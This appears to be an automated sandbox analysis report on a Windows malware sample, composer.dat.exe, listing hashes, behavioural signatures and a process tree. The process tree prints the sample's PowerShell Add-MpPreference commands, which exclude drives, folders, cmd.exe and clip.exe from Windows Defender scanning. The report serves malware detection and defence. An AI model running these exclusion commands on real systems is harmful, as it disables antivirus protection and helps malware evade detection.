447eb0c36173cd39617ab77af0c6d56349e31f0ee8a10ecd244b447199fda1c2

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/08/2026, 03:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
composer.dat.exe
Size 13.6MB
Sample260805-efvwdsda38
SHA256 447eb0c36173cd39617ab77af0c6d56349e31f0ee8a10ecd244b447199fda1c2
MD5 0de491eae5672fcbf8292a649f8b5907
SHA1 cbc6263aeee0a9af9010ff889c338089662dd48b
SHA512 dd62d8cd0acdf028a0e0bfbf1772d288970a39114f83e0ab4a418fbc75c1252409ebfb54dc9c0fba52d9f91d18ce3d12901161a7d24fc1dca5683e2c69826761
SSDEEP 393216:/GmPmXp5e4nJNZUXEryGsVLLsOPVQQPXMCHWUjb/cuI3/PGTAI:/GZaVwOPLXMb8bUH/O7
TLSH
T162E6330459D012FED973203DFEA301A1EA74F8762772C9DB47789A662D571E0893EF22
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
440	powershell.exe
1848	powershell.exe
2632	powershell.exe
2188	powershell.exe
716	powershell.exe
2280	powershell.exe
5052	powershell.exe
540	powershell.exe
3392	powershell.exe
380	powershell.exe
2600	powershell.exe
3036	powershell.exe

Loads dropped DLL 15 IoCs

pid	Process
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe
344	composer.dat.exe

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1632	cmd.exe
3176	cmd.exe
1932	cmd.exe
3796	cmd.exe
3960	cmd.exe
2972	cmd.exe
1248	cmd.exe
2396	cmd.exe
960	cmd.exe
3748	cmd.exe
4080	cmd.exe
116	cmd.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
344	composer.dat.exe
344	composer.dat.exe
540	powershell.exe
540	powershell.exe
3392	powershell.exe
3392	powershell.exe
440	powershell.exe
440	powershell.exe
1848	powershell.exe
1848	powershell.exe
2632	powershell.exe
2632	powershell.exe
380	powershell.exe
380	powershell.exe
2188	powershell.exe
2188	powershell.exe
2600	powershell.exe
2600	powershell.exe
716	powershell.exe
716	powershell.exe
2280	powershell.exe
2280	powershell.exe
5052	powershell.exe
5052	powershell.exe
3036	powershell.exe
3036	powershell.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	344	composer.dat.exe
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	3392	powershell.exe
Token: SeDebugPrivilege	440	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	2632	powershell.exe
Token: SeDebugPrivilege	380	powershell.exe
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	716	powershell.exe
Token: SeDebugPrivilege	2280	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	3036	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3828 wrote to memory of 344	3828	composer.dat.exe	86
PID 344 wrote to memory of 3748	344	composer.dat.exe	87
PID 3748 wrote to memory of 540	3748	cmd.exe	89
PID 344 wrote to memory of 4080	344	composer.dat.exe	90
PID 4080 wrote to memory of 3392	4080	cmd.exe	92
PID 344 wrote to memory of 116	344	composer.dat.exe	93
PID 116 wrote to memory of 440	116	cmd.exe	95
PID 344 wrote to memory of 1632	344	composer.dat.exe	96
PID 1632 wrote to memory of 1848	1632	cmd.exe	98
PID 344 wrote to memory of 3176	344	composer.dat.exe	99
PID 3176 wrote to memory of 2632	3176	cmd.exe	101
PID 344 wrote to memory of 3960	344	composer.dat.exe	102
PID 3960 wrote to memory of 380	3960	cmd.exe	104
PID 344 wrote to memory of 2972	344	composer.dat.exe	105
PID 2972 wrote to memory of 2188	2972	cmd.exe	107
PID 344 wrote to memory of 1932	344	composer.dat.exe	108
PID 1932 wrote to memory of 2600	1932	cmd.exe	110
PID 344 wrote to memory of 1248	344	composer.dat.exe	111
PID 1248 wrote to memory of 716	1248	cmd.exe	113
PID 344 wrote to memory of 2396	344	composer.dat.exe	114
PID 2396 wrote to memory of 2280	2396	cmd.exe	116
PID 344 wrote to memory of 3796	344	composer.dat.exe	117
PID 3796 wrote to memory of 5052	3796	cmd.exe	119
PID 344 wrote to memory of 960	344	composer.dat.exe	120
PID 960 wrote to memory of 3036	960	cmd.exe	122

C:\Users\Admin\AppData\Local\Temp\composer.dat.exe
"C:\Users\Admin\AppData\Local\Temp\composer.dat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3828
- C:\Users\Admin\AppData\Local\Temp\composer.dat.exe
  "C:\Users\Admin\AppData\Local\Temp\composer.dat.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\AccountPictures\cimeqog'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\AccountPictures\cimeqog'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'D:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'D:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'E:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'E:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'F:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3960
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'F:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'G:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2972
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'G:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'X:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'X:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'Y:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'Y:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'Z:\'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'Z:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3796
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:960
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3036

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...